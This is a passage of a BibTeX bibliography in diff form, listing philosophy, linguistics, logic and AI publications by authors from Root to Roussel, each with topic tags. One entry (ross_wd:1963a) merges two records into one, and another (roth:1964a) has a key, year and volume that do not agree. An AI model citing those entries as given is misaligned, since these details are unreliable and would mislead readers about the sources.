= {1975}, + editor = {Keith Gunderson}, + pages = {321--343}, + address = {Minneapolis, Minnesota}, + topic = {philosophy-of-language;} + } + +@article{ root:1977a, + author = {Michael D. Root}, + title = {Nelson {G}oodman and the Logical Articulation of + Nominal Compounds}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {2}, + pages = {259--271}, + xref = {Comment on goodman_n:1977a. Replies: creath:1977a, + goodman:1977a.}, + topic = {synonymy;philosophy-of-language;} + } + +@incollection{ root:1978a, + author = {Michael Root}, + title = {Quine's Thought Experiment}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {275--289}, + address = {Minneapolis}, + topic = {intensionality;philosophy-of-language;} + } + +@phdthesis{ root:1985a, + author = {R. Root}, + title = {The Semantics of Anaphora in Discourse}, + school = {University of Texas at Austin}, + year = {1985}, + type = {Ph.{D}. Dissertation}, + address = {Austin, Texas}, + missinginfo = {Department, A's 1st name}, + topic = {nl-semantics;nl-quantifiers;anaphora;uniqueness; + definiteness;pragmatics;} + } + +@incollection{ root:2000a, + author = {Michael Root}, + title = {How We Divide the World}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S628--S639}, + address = {Newark, Delaware}, + topic = {natural-kinds;philosophy-of-social-science;racial-stereotypes;} + } + +@inproceedings{ rooth-partee:1982a, + author = {Mats Rooth and Barbara Partee}, + title = {Conjunction, Type Ambiguity, and Wide Scope `Or'\, } , + booktitle = {Proceedings, First {W}est {C}oast {C}onference on {F}ormal + {L}inguistics}, + year = {1982}, + missinginfo = {publisher, pages, address}, + topic = {nl-semantic-types;polymorphism;} + } + +@techreport{ rooth:1986a, + author = {Mats Rooth}, + title = {Noun Phrase Interpretation in {M}ontague Grammar, File + Change Semantics, and Situation Semantics}, + institution = {Center for the Study of Language and Information}, + number = {CSLI--86--51}, + year = {1986}, + address = {Stanford, California}, + topic = {dynamic-semantics;} + } + +@incollection{ rooth:1987a, + author = {Mats Rooth}, + title = {Noun Phrase Interpretation in {M}ontague Grammar, File + Change Semantics, and Situation Semantics}, + booktitle = {Generalized Quantifiers: Linguistic and Logical + Approaches}, + publisher = {Kluwer Academic Publishers}, + year = {1987}, + editor = {Peter G\"arderfors}, + pages = {237--268}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;anaphora;uniqueness; + definiteness;donkey-anaphora;} + } + +@article{ rooth:1992a, + author = {Mats Rooth}, + title = {A Theory of Focus Interpretation}, + journal = {Natural Language Semantics}, + year = {1992}, + volume = {1}, + number = {1}, + pages = {75--116}, + topic = {sentence-focus;alternatives;pragmatics;} + } + +@incollection{ rooth:1995a, + author = {Mats Rooth}, + title = {Indefinites, Adverbs of Quantification, and Focus + Semantics}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + pages = {265--299}, + address = {Chicago, IL}, + topic = {sentence-focus;nl-quantifiers;indefiniteness;} + } + +@incollection{ rooth:1996a, + author = {Mats Rooth}, + title = {Focus}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {271--297}, + topic = {nl-semantics;sentence-focus;pragmatics;} + } + +@article{ roper:1980a, + author = {Peter R\"oper}, + title = {Intervals and Tenses}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {4}, + pages = {451--469}, + topic = {temporal-logic;interval-logic;} + } + +@book{ rorty_ao:1976a, + editor = {Am\'elie Oksenberg Rorty}, + title = {The Identities of Persons}, + publisher = {University of California Press}, + year = {1976}, + address = {Berkeley, California}, + ISBN = {0262061155}, + topic = {personal-identity;} + } + +@book{ rorty_ao:1980a, + editor = {Am\'elie Oksenberg Rorty}, + title = {Explaining Emotions}, + publisher = {University of California Press}, + year = {1980}, + address = {Berkeley, California}, + ISBN = {0520037758}, + topic = {emotion;} + } + +@incollection{ rorty_ao:1986a, + author = {Amelie Oksenberg Rorty}, + title = {The Historicity of Psychological Attitudes: Love is Not + Love Which Alters Not When it Alteration Finds}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {399--412}, + address = {Minneapolis}, + topic = {emotion;mental-states;} + } + +@incollection{ rosati:1998a, + author = {Riccardo Rosati}, + title = {Minimal Knowledge States in Nonmonotonic Modal Logics}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {173--187}, + address = {Stanford, California}, + topic = {modal-logic;epistemic-logic;nonmonotonic-logic;} + } + +@article{ rosati:1999a, + author = {Riccardo Rosati}, + title = {Reasoning about Minimal Knowledge in Nonmonotonic + Modal Logics}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {2}, + pages = {187--203}, + topic = {nonmonotonic-logic;modal-logic;epistemic-logic;} + } + +@article{ rosati:2000a, + author = {Riccardo Rosati}, + title = {On the Decidability and Complexity of Reasoning + about Only Knowing}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {191--215}, + topic = {nonmonotonic-logic;kr-complexity-analysis;epistemic-logic;} + } + +@article{ rosch-mervis:1975a, + author = {Eleanor Rosch and Carolyn B. Mervis}, + title = {Family Resemblances: Studies in the Internal Structure of + Categories}, + journal = {Cognitive Psychology}, + year = {1975}, + volume = {8}, + pages = {382--439}, + missinginfo = {number}, + topic = {cluster-concepts;} + } + +@article{ rose:1973a, + author = {James H. Rose}, + title = {Principled Limitations on Productivity in Denominal Verbs}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {4}, + pages = {509--526}, + topic = {lexical-semantics;} + } + +@unpublished{ rose_cp:1996a, + author = {Carolyn Penstein Ros\'e}, + title = {Towards a New Process Model for Negotiation Dialogs}, + year = {1996}, + note = {Unpublished manuscript, Carnegie Mellon University}, + topic = {discourse;negotiation-subdialogs;pragmatics;} + } + +@incollection{ rose_cp-waibel:1996a, + author = {Carolyn Pennstein Ros\'e and Alex H. Waibel}, + title = {Recovering from Parser Failures: A Hybrid Statistical and + Symbolic Approach}, + booktitle = {The Balancing Act: Combining Symbolic and Statistical + Approaches to Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Judith Klavans and Philip Resnik}, + pages = {157--179}, + address = {Cambridge, Massachusetts}, + topic = {robust-parsing;statistical-nlp;} + } + +@incollection{ rose_cp-lavie:1997a, + author = {Carolyn Penstein Ros\'e and Alon Lavie}, + title = {An Efficient Distribution of Labor in a Two Stage Robust + Interpretation Process}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {26--34}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;parsing-algorithms; + parsing-ungrammatical-input;robust-parsing;} + } + +@article{ rose_de:1993a, + author = {Daniel E. Rose}, + title = {Review of {\it Advances in Connectionist and Neural + Computation Theory, Volume 1: High-Level Connectionist + Models}, edited by {J}ohn {A}. {B}arnden and + {J}ordan {B}. {P}ollack}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {1}, + pages = {129--139}, + xref = {Review of barnden-pollack_jb:1991a.}, + topic = {connectionism;connectionist-models;} + } + +@article{ rosen:2002a, + author = {Eric Rosen}, + title = {Some Aspects of Model Theory and Finite Structures}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {3}, + pages = {380--403}, + topic = {finite-models;} + } + +@article{ rosen_e:1997a, + author = {Eric Rosen}, + title = {Modal Logic Over Finite Structures}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {4}, + pages = {427--439}, + topic = {modal-logic;dynamic-logic;} + } + +@incollection{ rosen_r:1988a, + author = {Robert Rosen}, + title = {Effective Processes and Natural Law}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {523--537}, + address = {Oxford}, + topic = {Church's-thesis;foundations-of-computation;} + } + +@book{ rosenau:1992a, + author = {Pauline M. Rosenau}, + title = {Post-Modernism and the Social Sciences}, + publisher = {Princeton University Press}, + year = {1992}, + address = {Princeton, New Jersey}, + rztnote = {The author is a political scientist, doesn't seem to + be very knowledgeable about philosophy.}, + topic = {postmodernism;philosophy-of-social-science;} + } + +@article{ rosenbaum-rubin:1983a, + author = {P. Rosenbaum and D. Rubin}, + title = {The Central Role of Propensity Score in Observational + Studies for Causal Effects}, + journal = {Biometrica}, + year = {1983}, + volume = {70}, + pages = {41--55}, + missinginfo = {A's 1st name, number}, + contentnote = {According to pearl:1997b, this paper proposes the + following criterion for adjusting for a covariate: Z is an + admissible covariate relative to the effect of X on Y if for + every x, the value that Y would obtain had X been x is + conditionally independent of X, given Z.}, + topic = {statistics;} + } + +@article{ rosenberg:1972a, + author = {Marc Rosenberg}, + title = {Generative vs. Interpretive Semantics}, + journal = {Foundations of Language}, + year = {1972}, + volume = {12}, + pages = {561--582}, + topic = {interpretive-semantics;generative-semantics;nl-semantics;} + } + +@incollection{ rosenberg_a:1984a, + author = {Alexander Rosenberg}, + title = {Mackie and Shoemaker on {D}ispositions and Properties}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {77--91}, + address = {Minneapolis}, + topic = {dispositions;} + } + +@book{ rosenberg_jf:1974a, + author = {Jay F. Rosenberg}, + title = {Linguistic Representation}, + publisher = {D. Reidel Publishing Co.}, + year = {1974}, + address = {Dordrecht}, + missinginfo = {A's 1st name, specific topics}, + topic = {philosophy-of-language;} + } + +@incollection{ rosenberg_jf:1986a, + author = {Jay F. Rosenberg}, + title = {\,`I Think': Some Reflections on {K}ant's Paralogisms}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {503--530}, + address = {Minneapolis}, + topic = {Kant;} + } + +@incollection{ rosenberg_jf:1993a, + author = {Jay F. Rosenberg}, + title = {Another Look at Proper Names}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {505--530}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {semantics-of-proper-names;proper-names;reference;} + } + +@phdthesis{ rosenberg_ms:1975a, + author = {Marc S. Rosenberg}, + title = {Counterfactives: A Pragmatic Analysis of Presupposition}, + school = {Linguistics Department, University of Illinois}, + year = {1975}, + type = {Ph.{D}. Dissertation}, + address = {Urbana, Illinois}, + topic = {(counter)factive-constructions;presupposition;pragmatics;} + } + +@article{ rosenbloom:1982a, + author = {Paul S. Rosenbloom}, + title = {A World-Championship-Level {O}thello Program}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {3}, + pages = {279--320}, + topic = {game-playing;} + } + +@article{ rosenbloom-etal:1991a, + author = {Paul S. Rosenbloom and John E. Laird and Allen Newell and + Robert McCarl}, + title = {A preliminary Analysis of the {\sc soar} Architecture as a + Basis for General Intelligence}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {289--325}, + topic = {foundations-of-AI;cognitive-architectures;} + } + +@book{ rosenbloom-etal:1993a, + editor = {Paul S. Rosenbloom and John E. Laird and and Allen Newell}, + title = {The {S}oar Papers: Research on Integrated Intelligence}, + publisher = {The {MIT} Press}, + year = {1993}, + address = {Cambridge, Massachusetts}, + ISBN = {0262181525 (hc)}, + topic = {Soar;cognitive-architectures;} + } + +@article{ rosenbloom-laird:1993a, + author = {Paul S. Rosenbloom and John E. Laird}, + title = {On Unified Theories of Cognition: A Response to the + Reviews}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {389--413}, + xref = {Review of newell:1992a.}, + topic = {SOAR;cognitive-architectures;} + } + +@incollection{ rosenbloom:1996a, + author = {Paul S. Rosenbloom}, + title = {Learning Matters}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {111--133}, + topic = {cognitive-architectures;learning;} + } + +@article{ rosenfeld:1976a, + author = {Azriel Rosenfeld}, + title = {Review of {\it The Psychology of Computer Vision}, edited + by {P}atrick {H}enry {W}inston}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {3}, + pages = {279--282}, + xref = {Review of winston_ph:1975a.}, + topic = {computer-vision;} + } + +@article{ rosenfeld:2000a, + author = {Azriel Rosenfeld}, + title = {Review of {\it Handbook of Computer Vision and + Applications. 1. Sensors and Imaging. 2. Signal Processing and + Pattern Recognition. 3. Systems and Applications}, + B. J\"ahne, H. Haussecker, and P. Geissler, eds.}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {120}, + number = {2}, + pages = {271--273}, + xref = {Review of jahne-etal:1999a, jahne-etal:1999b,jahne-etal:1999c.}, + topic = {computer-vision;} + } + +@book{ rosenschein_js-zlotkin:1994a, + author = {Jeffrey S. Rosenschein and Gilad Zlotkin}, + title = {Rules of Encounter: Designing Conventions for Automated + Negotiation among Computers}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + ISBN = {0262181592}, + topic = {game-theory;distributed-AI;artificial-societies; + protocol-design;computational-bargaining;} + } + +@incollection{ rosenschein_sj:1981a, + author = {Stanley J. Rosenschein}, + title = {Abstract Theories of Discourse and the Formal + Specification of Programs That Converse}, + booktitle = {Elements of Discourse Understanding}, + publisher = {Cambridge University Press}, + year = {1981}, + editor = {Arivind Joshi and Bonnie Webber and Ivan Sag}, + pages = {251--265}, + address = {Cambridge, England}, + topic = {discourse;communication-protocols;pragmatics;} + } + +@article{ rosenschein_sj:1985a, + author = {Stanley J. Rosenschein}, + title = {Formal Theories of {AI} in Knowledge and Robotics}, + journal = {New Generation Computing}, + year = {1985}, + volume = {3}, + pages = {345--357}, + missinginfo = {number}, + topic = {epistemic-logic;cognitive-robotics;foundations-of-robotics; + logic-in-AI;epistemic-logic;} + } + +@incollection{ rosenschein_sj-kaebling:1986a, + author = {Stanley J. Rosenschein and Leslie P. Kaebling}, + title = {The Synthesis of Digital Machines With Provable Epistemic + Properties}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {83--98}, + address = {Los Altos, California}, + topic = {epistemic-logic;cognitive-robotics;foundations-of-robotics;} + } + +@article{ rosenschein_sj:1987a, + author = {Stanley J. Rosenschein}, + title = {The Logicist Conception of Knowledge is Too Narrow---But + So is {M}c{D}ermott's}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {208--209}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@incollection{ rosenschein_sj:1989a, + author = {Stanley J. Rosenschein}, + title = {Synthesizing Information-Tracking Automata from Environment + Descriptions}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {386--393}, + address = {San Mateo, California}, + topic = {kr;cognitive-robotics;epistemic-logic;kr-course;} + } + +@article{ rosenschein_sj-kaelbling:1995a, + author = {Stanley J. Rosenschein and Leslie Pack Kaelbling}, + title = {A Situated View of Representation and Control}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {73}, + number = {1--2}, + pages = {149--173}, + topic = {cognitive-robotics;foundations-of-robotics;} + } + +@incollection{ rosenthal:1986a, + author = {David M. Rosenthal}, + title = {Intentionality}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {151--184}, + address = {Minneapolis}, + topic = {intentionality;speech-acts;} + } + +@incollection{ rosner:1991a, + author = {Mike Rosner}, + title = {Dialogue Games and Constraints}, + booktitle = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + editor = {Harold L. Somers}, + pages = {1--4}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + topic = {context;discourse;pragmatics;} + } + +@book{ rosner-johnson_n:1992a, + editor = {Michael Rosner and Roderick Johnson}, + title = {Computational Linguistics and Formal Semantics}, + publisher = {Cambridge University Press}, + year = {1992}, + address = {Cambridge, England}, + ISBN = {052141959X}, + contentnote = {TC: + 1. Martin Kay, "Unification" + 2. Jens Erik Fenstad and Tore Langholm and Espen Vestre, + "Representations and interpretations" + 3. Barbara H. Partee, "Syntactic categories and semantic type" + 4. Johan van Benthem, "Fine-Structure in categorial semantics" + 5. Raymond Turner, "Properties, propositions and semantic theory" + 6. Per-Kristian Halvorsen, "Algorithms for semantic intrepretation" + 7. C.J. Rupp and Roderick Johnson and Michael Rosner, "Situation + schemata and linguistic representation" + 8. Sergei Nirenburg and Christine Defrise, "Application-oriented + computational semantics" + 9. Yorick Wilks, "Form and content in semantics" + 10. Margaret King, "Epilogue, on the relation between computational + linguistics and formal semantics" + } , + topic = {nl-semantics;nlp-and-linguistics;} + } + +@book{ ross_j:1997a, + author = {Jeff Ross}, + title = {The Semantics of Media}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + contentnote = {Media are phrases like "in the picture", "in the + story".}, + topic = {nl-semantics;propositional-attitudes;fiction;counterfactuals; + world-building;} + } + +@book{ ross_jf:1981a, + author = {J.F. Ross}, + title = {Portraying Analogy}, + publisher = {Cambridge University Press}, + year = {1981}, + address = {Cambridge, England}, + xref = {Review: lycan:1988a.}, + topic = {foundations-of-semantics;analogy;metaphor;} + } + +@unpublished{ ross_jr:1964a, + author = {John Robert Ross}, + title = {The Grammar of Measure Phrases in {E}nglish}, + year = {1964}, + note = {Unpublished manuscript, MIT.}, + topic = {measures;} + } + +@book{ ross_jr:1968a, + author = {John R. Ross}, + title = {Constraints on Variables in Syntax}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {transformational-grammar;nl-syntax;syntactic-islands; + conditions-on-transformations;} + } + +@incollection{ ross_jr:1972a, + author = {John R. Ross}, + title = {Act}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Gilbert Harman and Donald Davidson}, + pages = {70--126}, + address = {Dordrecht}, + topic = {speech-acts;pragmatics;} + } + +@book{ ross_wd:1930a, + author = {William David Ross}, + title = {The Right and the Good}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1930}, + topic = {ethics;deontology;} + } + +@book{ ross_wd:1963a, + author = {William David Ross}, + title = {The Right and the Good}, + publisher = {Oxford University Press}, + year = {1963}, + address = {Oxford}, + title = {Fat Child Meets {DRT}: A Semantic Representation for the Opening + Lines of {K}aschnitz' ``{D}as {D}icke {K}ind''}, + journal = {Theoretical Linguistics}, + year = {1994}, + volume = {20}, + number = {2/3}, + pages = {237--305}, + topic = {discourse-representation-theory;pragmatics;} + } + +@incollection{ rossi-montanari:1989a, + author = {Francesca Rossi and Ugo Montanari}, + title = {Exact Solution in Linear Time of Networks of Constraints + Using Perfect Relaxation}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {394--399}, + address = {San Mateo, California}, + topic = {kr;constraint-networks;complexity-in-AI;kr-course; + relaxation-methods;} + } + +@book{ rotenstreich:1985a, + author = {Nathan Rotenstreich}, + title = {Reflection and Action}, + publisher = {Martinus Nijhoff Publishers}, + year = {1985}, + address = {Dordrecht}, + topic = {philosophy-of-action;} + } + +@article{ roth:1964a, + author = {Paul Roth}, + title = {Paradox and Indeterminacy}, + journal = {The Journal of Philosophy}, + year = {1978}, + volume = {78}, + number = {24}, + pages = {347--367}, + topic = {indeterminacy-of-translation;} + } + +@article{ roth_a:2000a, + author = {Abe Roth}, + title = {Review of {\it Trying without Willing: An Essay in + the Philosophy of Mind}, by {T}imothy {C}leveland}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {4}, + pages = {621--624}, + xref = {Review of cleveland:1997a.}, + topic = {volition;action;} + } + +@article{ roth_d:1996a, + author = {Dan Roth}, + title = {On the Hardness of Approximate Reasoning}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {273--302}, + topic = {complexity-in-AI;} + } + +@book{ roth_md-ross_g:1990a, + editor = {Michael D. Roth and Glenn Ross}, + title = {Doubting: Contemporary Perspectives On Skepticism}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + address = {Dordrecht}, + ISBN = {0792305760}, + topic = {skepticism;} + } + +@article{ roth_y-jain:1994a, + author = {Yuval Roth and Ramesh Jain}, + title = {Knowledge Caching for Sensor-Based Systems}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {2}, + pages = {257--280}, + acontentnote = {Abstract: + Sensor-based systems must interact with their environments while + extracting crucial information, necessary for their performance, + from the sensors. In most cases, the projection from the + environment to the signal is many-to-one, resulting in + irrecoverable information about the environment. To recover + this information assumptions must be made. Considering the + complexity of the world, we posit that intricate assumptions are + necessary for recovering the information. More assumptions + require larger knowledge bases, making the performance of the + system slower than acceptable. To avoid the crippling effects of + large knowledge bases, we accept additional assumptions about + the structure of the working environments and the interaction of + systems with their environments along different dimensions. + These assumptions allow systems to dynamically hide large + portions of knowledge that are irrelevant at a given time. We + call this approach knowledge caching. We introduce an + implementation of this approach in the context-based caching + (CbC) technique in which knowledge items are swapped based on + precompiled relations between knowledge items. This technique + enhances system performance providing it with the right + information at the right time.}, + topic = {agent-environment-interaction;} + } + +@book{ rothstein:1985a, + author = {Susan D. Rothstein}, + title = {The Syntactic Forms of Predication}, + publisher = {Indiana University Linguistics Club,}, + year = {1985}, + address = {Bloomington}, + ISBN = {0521380561}, + topic = {predication;predicate-adjectives;} + } + +@book{ rothstein:1998a, + editor = {Susan Rothstein}, + title = {Events and Grammar}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + ISBN = {079234940}, + topic = {events;nl-semantics;} + } + +@article{ rothstein:1999a, + author = {Susan D. Rothstein}, + title = {Fine-Grained Structure in the Eventuality Domain: + The Semantics of Predicative Adjectives and {\it Be}}, + journal = {Natural Language Semantics}, + year = {1999}, + volume = {7}, + number = {4}, + pages = {347--420}, + topic = {eventualities;predicate-adjectives;} + } + +@book{ rothstein:2000a, + author = {Susan Rothstein}, + title = {Predicates and Their Subjects}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + address = {Dordrecht}, + ISBN = {0792364090}, + topic = {predication;predicate-adjectives;} + } + +@book{ rothstein_s:2000a, + author = {Susan Rothstein}, + title = {Predicates and Their Subjects}, + publisher = {Kluwer}, + year = {2000}, + address = {Dordrecht}, + ISBN = {0792364090 (alk. paper)}, + topic = {predication;} + } + +@unpublished{ rott:1987a, + author = {Hans Rott}, + title = {Ways of Triviality in Conditional Languages}, + year = {1987}, + note = {Unpublished manuscript, Munich.}, + topic = {conditionals;probability-semantics;} + } + +@unpublished{ rott:1988a, + author = {Hans Rott}, + title = {Conditionals and Theory Change: Revisions, Expansions, + and Additions}, + year = {1988}, + note = {Unpublished manuscript, said to be forthcoming + in Synthese.}, + topic = {conditionals;belief-revision;} + } + +@incollection{ rott:1990a, + author = {Hans Rott}, + title = {Updates, Conditionals, and Non-Monotonicity}, + booktitle = {Conditionals, Defaults, and Belief Revision}, + publisher = {Institut f\"ur maschinelle Sprachverarbeitung, + Universit\"at Stuttgart}, + year = {1990}, + note = {Dyana Deliverable R2.5.A.}, + editor = {Hans Kamp}, + pages = {65--77}, + address = {Stuttgart}, + topic = {conditionals;belief-revision;nonmonotonic-logic;} + } + +@article{ rott:1991a, + author = {Hans Rott}, + title = {Two Methods of Constructing Contractions and Revisions in + Knowledge Systems}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {2}, + pages = {149--173}, + topic = {belief-revision;} + } + +@incollection{ rott:1992a, + author = {Hans Rott}, + title = {On the Logic of Theory Change: More Maps Between Different + Kinds of Contraction Function}, + booktitle = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {122--141}, + address = {Cambridge}, + topic = {belief-revision;} + } + +@article{ rott:1992b, + author = {Hans Rott}, + title = {Preferential Belief Change Using Generalized Epistemic + Entrenchment}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {1}, + number = {1}, + pages = {45--78}, + topic = {belief-revision;epistemic-entrenchment;} + } + +@inproceedings{ rott:1998a, + author = {Hans Rott}, + title = {Logic and Choice}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {235--248}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {belief-revision;will-to-believe;decision-theory; + model-preference;} + } + +@article{ rott-pagnucco:1999a, + author = {Hans Rott and Maurice Pagnucco}, + title = {Severe Withdrawal (and Recovery)}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {5}, + pages = {501--547}, + note = {Corrected version published in {\it Journal of Philosophical + Logic} (2000), vol. 29, no. 1.}, + topic = {belief-revision;} + } + +@article{ rott:2000a, + author = {Hans Rott}, + title = {Two Dogmas of Belief Revision}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {9}, + pages = {503--522}, + topic = {Quine;belief-revision;coherence;} + } + +@article{ rott:2000b, + author = {Hans Rott}, + title = {Words in Contexts: {F}regean Elucidations}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {6}, + pages = {621--641}, + topic = {nl-semantics;Frege;compositionality;context;} + } + +@article{ rott-pagnucco:2000a, + author = {Hans Rott and Maurice Pagnucco}, + title = {Severe Withdrawal (and Recovery)}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {5}, + pages = {501--547}, + topic = {belief-revision;} + } + +@incollection{ roulet:1992a, + author = {Eddy Roulet}, + title = {On the Structure of Conversation as Negotiation}, + booktitle = {(On) {S}earle on Conversation}, + publisher = {John Benjamins Publishing Company}, + year = {1992}, + editor = {Herman Parret and Jef Verschueren}, + pages = {91--99}, + address = {Amsterdam}, + topic = {foundations-of-pragmatics;discourse-analysis;pragmatics;} + } + +@article{ rounds-zhang_gq:1995a, + author = {William Rounds and Quoquiang Zhang}, + title = {Domain Theory Meets Default Logic}, + journal = {Logic and Computation}, + year = {1995}, + volume = {5}, + pages = {1--25}, + missinginfo = {number}, + topic = {domain-theory;default-logic;nm-ling;nonmonotonic-logic;} + } + +@unpublished{ rounds-zhang_gq:1995b, + author = {William C. Rounds and Quoquiang Zhang}, + title = {Suggestions for a Non-Monotonic Feature Logic}, + year = {1995}, + note = {Available by anonymous ftp from ftp.cwi.nl in directory + pub/rounds.}, + topic = {default-unification;nm-ling;} + } + +@incollection{ rounds:1996a, + author = {William C. Rounds}, + title = {Feature Logics}, + booktitle = {Handbook of Logic and Language}, + publisher = {Elsevier}, + year = {1996}, + editor = {Johan {van Benthem} and Alice {ter Meulen}}, + pages = {475--533}, + address = {Amsterdam}, + topic = {feature-structure-grammar;feature-structure-logic; + unification;grammar-logics;} + } + +@article{ rounds-zhang_gq:forthcominga, + author = {William Rounds and Guo-Qiang Zhang}, + title = {Logical Considerations on Default Semantics}, + journal = {Journal of Artificial Intelligence and Mathematics}, + year = {forthcoming}, + topic = {nm-ling;default-unification;} + } + +@article{ rouse:1991a, + author = {Joseph Rouse}, + title = {Indeterminacy, Empirical Evidence, and Methodological + Pluralism}, + journal = {Synth\'ese}, + year = {1991}, + volume = {86}, + number = {3}, + pages = {443--465}, + topic = {indeterminacy-of-translation;philosophy-of-science; + philosophy-of-social-science;} + } + +@incollection{ roussel_d-halber:1997a, + author = {David Roussel and Ariane Halber}, + title = {Filtering Errors and Repairing Linguistic Anomalies for + Spoken Dialogue Systems}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {74--81}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;nl-processing;speech-recognition;} + } + +@techreport{ roussel_p:1975a, + author = {P. Roussel}, + title = {{\sc Prolog:} Manuel d'Utilization}, + institution = {Rapport Interne, F.I.A., {UER} de {LUMINY}}, + year = 